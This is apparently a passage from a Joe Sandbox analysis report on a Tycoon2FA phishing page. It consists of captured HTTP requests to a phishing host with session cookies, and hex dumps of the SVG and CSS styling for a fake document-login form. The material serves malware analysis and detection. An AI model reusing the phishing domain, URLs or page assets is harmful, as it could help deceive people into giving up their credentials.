30 48 30 7a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 Data Ascii: 04h.045c.103.473.21.834.287 1.075l3.776 9.16h1.42l3.748-9.243c.085-.211.175-.622.257-.992h.044c-.048.915-.09 1.75-.095 2.256v7.978h2.165V4.195h-2.956l-3.228 7.88z" fill="#737474"></path><path d="M0 20.956h98.148V0H0z"></path><path d="M42.866 16.751h2.118V
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 2e 34 33 33 2d 2e 35 31 36 20 31 2e 30 34 2d 2e 37 37 38 20 31 2e 38 30 36 2d 2e 37 37 38 2e 37 34 33 20 30 20 31 2e 33 33 35 2e 32 35 20 31 2e 37 35 38 2e 37 34 34 2e 34 32 36 2e 34 39 36 2e 36 34 32 20 31 2e 32 33 37 2e 36 34 32 20 32 2e 32 30 32 20 30 20 2e 39 37 37 2d 2e 32 30 33 20 31 2e 37 32 38 2d 2e 36 30 34 20 32 2e 32 33 6d 2d 31 2e 36 38 33 2d 36 2e 39 32 39 63 2d 31 2e 34 38 34 20 30 2d 32 2e 36 36 33 2e 34 33 35 2d 33 2e 35 30 33 20 31 2e 32 39 33 2d 2e 38 34 2e 38 35 37 2d 31 2e 32 36 35 20 32 2e 30 34 34 2d 31 2e 32 36 35 20 33 2e 35 32 37 20 30 20 31 2e 34 31 2e 34 31 35 20 32 2e 35 34 33 20 31 2e 32 33 35 20 33 2e 33 36 38 2e 38 32 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 Data Ascii: .433-.516 1.04-.778 1.806-.778.743 0 1.335.25 1.758.744.426.496.642 1.237.642 2.202 0 .977-.203 1.728-.604 2.23m-1.683-6.929c-1.484 0-2.663.435-3.503 1.293-.84.857-1.265 2.044-1.265 3.527 0 1.41.415 2.543 1.235 3.368.82.826 1.936 1.245 3.316 1.245 1.438 0
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 2d 2e 38 34 2e 38 35 37 2d 31 2e 32 36 36 20 32 2e 30 34 34 2d 31 2e 32 36 36 20 33 2e 35 32 37 20 30 20 31 2e 34 31 2e 34 31 35 20 32 2e 35 34 33 20 31 2e 32 33 35 20 33 2e 33 36 38 2e 38 32 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 37 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 33 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 36 2d 32 2e 30 34 35 20 31 2e 32 36 36 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 39 38 2e 31 34 39 20 39 2e 34 38 56 37 2e 37 35 32 68 2d 32 2e 31 34 34 56 35 2e 30 36 39 6c 2d 2e 30 37 32 2e 30 32 Data Ascii: -.84.857-1.266 2.044-1.266 3.527 0 1.41.415 2.543 1.235 3.368.82.826 1.936 1.245 3.317 1.245 1.438 0 2.593-.441 3.433-1.31.84-.87 1.266-2.045 1.266-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M98.149 9.48V7.752h-2.144V5.069l-.072.02

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:08 UTC	1146	OUT	GET /xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IndCc2pxcVpQQUZpTjdBL2VRenRHUlE9PSIsInZhbHVlIjoiSERWM29EQ0VKMmVFTHZ4Z2VUUllMVUJUWlVxMFd5dTRFYWpaWGJrb0w5TVp2MG9jbjFDM3ZWbzJqUkFwMms0WGs0L1FqNGlTaWQvYmVIdG5DaTNreG04UTArUGkwQ2FuOGdBR2Y5U3NLR2VPb29qN24zRUFpS1Fub3RUbVFUckYiLCJtYWMiOiJmZDA2MzE0ZDc0YzNhMDk0Mjk1MzMyMjU4MTc0MDI3MzBjZjk4YTA5ODczMGQyZDA4ZTc0ZmQyM2FkZWNmYjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im5lZkZqQUl1UVRzY0VsaTAwVWE5V3c9PSIsInZhbHVlIjoiSzF3VndjZnlLWEVDV1RxRHgxa1VnM3gzT1AvRFdjSE5YOEdYNzJiZTY1YThVbmVMODIzTUcwb2FWWTFuSVQwU1J6ZkJjNGNYZ216dEpmdDZmZU5zK3Y2Z3pJSUFmdXhubDQ5Y3M2eVBIWW11a3VINE5XVFZ3R29GV0dKaDhvWjkiLCJtYWMiOiI4ODkyMTM0NjhkMTAwYjQzM2RhMWM0MjZjZGZhNWRhMzQ5YWEzNDg1Mzg3NWM1MWE0ZmFmZDA1YzllOTI0N2Y4IiwidGFnIjoiIn0%3D
2025-03-24 13:13:08 UTC	1038	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 13:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9NwpqYamOyvm7ojoA%2BwR1B%2Bz6f6x1tWx3RZUMFJfHU%2F3BRuYyOeePHaNTwbFFvaOm7KsmQxdziqBbyARSb7qonm1QjyDLE9c9t%2BgnNXwXdnJzzH4GnnMDiX4MtmwsDPQFEGA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10282&min_rtt=10278&rtt_var=3862&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2055&delivery_rate=276236&cwnd=213&unsent_bytes=0&cid=79c2fe8f4cdac535&ts=226&x=0" Server: cloudflare CF-RAY: 92566c92dea252c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101354&min_rtt=101026&rtt_var=21631&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1718&delivery_rate=36866&cwnd=246&unsent_bytes=0&cid=a07f63f0509c49f4&ts=650&x=0"
2025-03-24 13:13:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1343	OUT	GET /129GcDcdJBYNk8912 HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
2025-03-24 13:13:09 UTC	1088	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="129GcDcdJBYNk8912" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F8fRCe9oD6IB%2BdvF0oV4j0Rjh0hksQ6PWECx1OcsW7f1%2Fqcr%2BC75ZvxbVvf3WHLPhwDRzVGy0nzTZ3Baj5DfIXdXu1wnN8BTWW6z%2Be8Gbc0fKVh2c2eH2u9xRrZd%2BM%2B84i6n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9992&min_rtt=9985&rtt_var=3749&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2252&delivery_rate=285227&cwnd=244&unsent_bytes=0&cid=6e4fa11742c965cf&ts=226&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 92566c9a6951d96d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99840&min_rtt=99748&rtt_var=21131&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1915&delivery_rate=37350&cwnd=236&unsent_bytes=0&cid=82cda1d72136658f&ts=603&x=0"
2025-03-24 13:13:09 UTC	281	IN	Data Raw: 33 38 30 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 Data Ascii: 380#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #p
2025-03-24 13:13:09 UTC	622	IN	Data Raw: 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d Data Ascii: header #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirm
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 33 34 33 39 0d 0a 61 20 4d 61 74 68 22 7d 2a 7b 6d 61 72 67 69 6e 3a 30 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 2c 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 61 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 73 65 Data Ascii: 3439a Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_doc a,#sections_pdf a{color:#fff;text-decoration:none!important}#se
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 3a 61 75 74 6f 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 73 6d 61 6c 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 3a 31 30 30 70 78 20 30 20 30 20 38 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 7b 63 6f 6c 6f 72 3a 6f 66 66 69 63 69 61 6c 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 38 30 70 78 3b 68 65 69 67 68 74 3a 38 Data Ascii: :auto}#sections_pdf .loadersmall{position:absolute;width:100px;height:100px;margin:100px 0 0 85px;display:flex;justify-content:center;align-content:center}#sections_pdf .lds-spinner{color:official;display:inline-block;position:relative;width:80px;height:8
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 6d 3a 72 6f 74 61 74 65 28 32 37 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 32 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 31 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 30 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 33 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 23 6d 61 69 6e 4c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 Data Ascii: m:rotate(270deg);animation-delay:-.2s}#sections_pdf .lds-spinner div:nth-child(11){transform:rotate(300deg);animation-delay:-.1s}#sections_pdf .lds-spinner div:nth-child(12){transform:rotate(330deg);animation-delay:0s}#sections_pdf #mainLoader{position:ab
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 3a 61 75 74 6f 20 30 20 61 75 74 6f 20 61 75 74 6f 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: margin:auto 0 auto auto}#sections_doc .pdfheader #pageName:hover,#sections_pdf .pdfheader #pageName:hover{color:#fff}#sections_doc .pdfheader .profileLogo,#sections_pdf .pdfheader .profileLogo{background-color:#fff;padding:6px 10px;color:#000;font-weight:
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 6d 6e 73 3a 61 75 74 6f 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 Data Ascii: mns:auto;justify-content:center;align-content:center}#sections_doc .login .selectProvider #pdfloginlogo,#sections_pdf .login .selectProvider #pdfloginlogo{margin:auto auto 10px}#sections_doc .login .selectProvider .emailblock,#sections_doc .login .selectP
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 6e 3a 63 6f 6c 75 6d 6e 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 33 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 3b Data Ascii: n:column;border-radius:5px}#sections_doc .login .selectProvider .emailinputfield>input,#sections_pdf .login .selectProvider .emailinputfield>input{width:auto;height:35px;font-size:18px;padding-left:10px;border-radius:5px;background-color:rgb(255 255 255);
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 32 36 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 53 65 67 6f 65 20 55 49 20 57 65 62 20 28 57 65 73 74 20 45 75 Data Ascii: width:auto;height:auto;border-radius:0 0 3.75pt .052083333in;background:rgb(255 255 255)}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_doc .title-626{font-family:"Segoe UI","Segoe UI Web (West Eu
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 73 3a 6e 6f 6e 65 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 69 6e 66 6f 72 6d 7b 74 6f 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 Data Ascii: s:none}}@keyframes fadeinform{to{opacity:.4;pointer-events:none}}@keyframes fadeoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacit

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1350	OUT	GET /abl4S9DqlRNd18pqJHQbcd30 HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
